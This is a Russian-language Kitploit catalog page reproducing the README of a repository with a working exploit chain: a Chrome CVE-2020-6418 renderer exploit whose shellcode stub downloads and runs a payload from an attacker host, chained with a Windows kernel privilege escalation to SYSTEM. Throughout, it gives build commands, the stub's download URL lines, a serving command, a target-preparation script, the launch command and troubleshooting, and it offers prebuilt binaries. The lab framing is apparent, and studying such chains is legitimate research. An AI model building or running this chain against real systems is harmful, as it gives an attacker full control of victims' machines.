Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-6418 — Одноступенчатая цепочка эксплойтов для CVE-2020-6418 (Chrome RCE), объединённая с повышением привилегий Windows до SYSTEM, со сборочными скриптами и предварительно собранными бинарными файлами. | Kitploit
Инструменты/GitHubGitHub/a-mansilla/cve-2020-6418
Повышение привилегийФреймворки для эксплойтовАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHuba-mansilla/cve-2020-6418

CVE-2020-6418

Одноступенчатая цепочка эксплойтов для CVE-2020-6418 (Chrome RCE), объединённая с повышением привилегий Windows до SYSTEM, со сборочными скриптами и предварительно собранными бинарными файлами.

Репозиторий
8 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2020-6418: RCE в Chrome в связке с повышением привилегий в Windows

В этом репозитории находится рабочая одностадийная цепочка эксплойтов для CVE-2020-6418 (ошибка type confusion в компиляторе Turbofan из V8, затрагивающая Google Chrome 80.0.3987.87 x64). При открытии вредоносной страницы в уязвимом Chrome вы получаете выполнение нативного кода в процессе рендеринга. Далее эксплойт загружает и запускает второй бинарный файл, который связывает ещё две ошибки (отсутствие проверки длины в NtPowerInformation и CVE-2021-31956, переполнение пула в ntfs.sys), чтобы подняться от непривилегированного процесса до NT AUTHORITY\SYSTEM.

Всё работает при одном посещении страницы, без ручных действий между ошибкой в браузере и получением шелла SYSTEM.

Изначальная заслуга в создании эксплойта для Chrome принадлежит Clement Lecigne (обнаружение ошибки, Google TAG) и Istvan Kurucsai / Vignesh S Rao (исходный proof of concept, позже выпущенный в виде модуля Metasploit). Мы убрали зависимости от Metasploit и перестроили механизм доставки вокруг нативного загрузчика, вместо того чтобы встраивать полезную нагрузку в страницу. Подробности — в browser-exploit/README.md.

Структура репозитория

root@kitploit:~
browser-exploit/        The Chrome exploit (the V8 bug + the native stub)
  exploit_template.html   HTML/JS source, with a placeholder for the stub
  build_exploit.py         generates exploit.html from the template
  shellcode/                the native code the exploit injects into Chrome
privilege-escalation/    The Windows EoP chain, a standalone C program
prebuilt/                Ready to use binaries (exploit.html and exploit.exe)
notes/                   An earlier approach we tried and abandoned, kept
                         as a record of what we learned along the way

Что вам понадобится

Машина атакующего («хост»): любой свежий Windows с Visual Studio 2019 или 2022 (подойдёт любое издание, включая Community, или только Build Tools), NASM и Python 3. Здесь вы собираете всё и раздаёте страницу с эксплойтом.

Целевая машина («ВМ»): она должна точно соответствовать требованиям; эксплойт опирается на жёстко прописанные смещения, которые действительны только для этих конкретных сборок.

  • Windows 10 20H1, сборка 19041.264 x64. Проверьте с помощью winver или [System.Environment]::OSVersion в PowerShell.
  • Google Chrome 80.0.3987.87 x64 (ошибка исправлена в 80.0.3987.122, поэтому нужна именно эта сборка или более ранняя уязвимая). Проверьте через chrome://version.
  • Папка C:\lab8 (может быть пустой, главное, чтобы она существовала).

Мы тестировали это на ВМ в VMware Workstation с сетевым адаптером типа host-only, но подойдёт любая конфигурация, в которой ВМ может обратиться к хосту по HTTP.

Быстрый старт

1. Соберите всё на хосте

root@kitploit:~
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html

cd ..\privilege-escalation
build.bat

Перед первой сборкой откройте browser-exploit\shellcode\download_and_run_stub.asm и отредактируйте эти две строки внизу:

root@kitploit:~
download_url:       db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path:   db "C:\lab8\exploit.exe", 0

YOUR_HOST_IP — это IP-адрес этой машины, каким его видит ВМ (выполните ipconfig на ВМ и посмотрите сетевой адаптер, соответствующий сети host-only или NAT, либо просто выполните ipconfig на хосте и используйте адаптер в той же подсети, что и ВМ). destination_path должен указывать туда, куда вы хотите положить EoP-бинарник внутри ВМ; по умолчанию это C:\lab8.

После редактирования пересоберите заглушку и заново сгенерируйте exploit.html (те две команды из шага 1, пропустив сборку privilege-escalation, поскольку она не зависит от IP).

Если для быстрой проверки вы не хотите трогать файл на ассемблере, в prebuilt/ уже лежит рабочая копия со вшитым нашим тестовым IP. Она заработает, только если ваша сеть случайно совпадёт, так что надёжный путь — собрать собственную копию.

2. Раздайте эксплойт с хоста

Положите exploit.html и exploit.exe (тот, что собран в privilege-escalation/) в одну папку, затем:

root@kitploit:~
python -m http.server 8000

exploit.exe должен быть доступен по тому же URL, который вы указали в download_url выше, потому что нативная заглушка забирает его напрямую, а не через браузер.

Короткое замечание о брандмауэре хоста: если ВМ не может подключиться к порту 8000, почти всегда виноват брандмауэр Защитника Windows, блокирующий входящее подключение в неопознанной сети, либо оставшееся правило, блокирующее именно python.exe (Windows иногда создаёт его автоматически при первой попытке приложения принять подключение в ненадёжной сети). Если вы с этим столкнулись, проверьте Get-NetFirewallRule -DisplayName "python.exe" в PowerShell с правами администратора.

3. Подготовьте ВМ

  • Убедитесь, что сборка Windows и версия Chrome соответствуют требованиям выше.

  • Создайте C:\lab8, если его ещё нет (пустая папка подойдёт).

  • Если это «голая» ВМ, которая ни разу не проходила полноценный цикл загрузки, C:\Windows\bootstat.dat может отсутствовать или быть пустым, а для бага в ядре нужно, чтобы он существовал и содержал корректные данные. Если требуется:

    root@kitploit:~
    if (!(Test-Path C:\Windows\bootstat.dat)) {
        fsutil file createnew C:\Windows\bootstat.dat 2048
    }
    $bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
    $bytes[4] = 1
    [System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
    

4. Запустите

Запустите уязвимый Chrome с флагом --no-sandbox (в этом PoC нет обхода песочницы, поэтому рендерер уже должен быть запущен без песочницы, чтобы иметь доступ к файловой системе и создавать процессы) и откройте страницу:

root@kitploit:~
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html

Откройте DevTools (F12) и посмотрите вкладку Console: эксплойт пишет туда журнал выполнения. Если всё сходится, вы увидите, как срабатывает type confusion, заглушка загружает и запускает EoP-бинарник, и через несколько секунд появится новое окно консоли, работающее от имени NT AUTHORITY\SYSTEM.

Если что-то пошло не так

  • Chrome падает, а не выполняет эксплойт: почти всегда это несоответствие сборки Chrome. Смещения в exploit_template.html (objleaker_offset, float_carw_elements_offset и остальные) привязаны к 80.0.3987.87 x64 и не будут работать на другой сборке, даже отличающейся на одну патч-версию.
  • EoP-бинарник открывает консоль, но так и не получает SYSTEM: та же идея, проверьте, что сборка Windows — именно 19041.264. Смещения ядра (DEFAULT_RVA_ANCHOR, DEFAULT_RVA_SEPSD и различные смещения EPROCESS/ETHREAD в privilege-escalation/exploit.c) жёстко прописаны под эту сборку.
  • Заглушка загрузки, похоже, ничего не скачивает: перепроверьте, что download_url в download_and_run_stub.asm совпадает с адресом и портом, на котором реально раздаёт хост, и что ВМ может до него добраться (обычный curl http://YOUR_HOST_IP:8000/exploit.exe изнутри ВМ — быстрый способ проверить связь, прежде чем винить эксплойт).

Больше подробностей о каждой части, в том числе о том, почему она устроена именно так, — в README каждой папки.

Скачать инструмент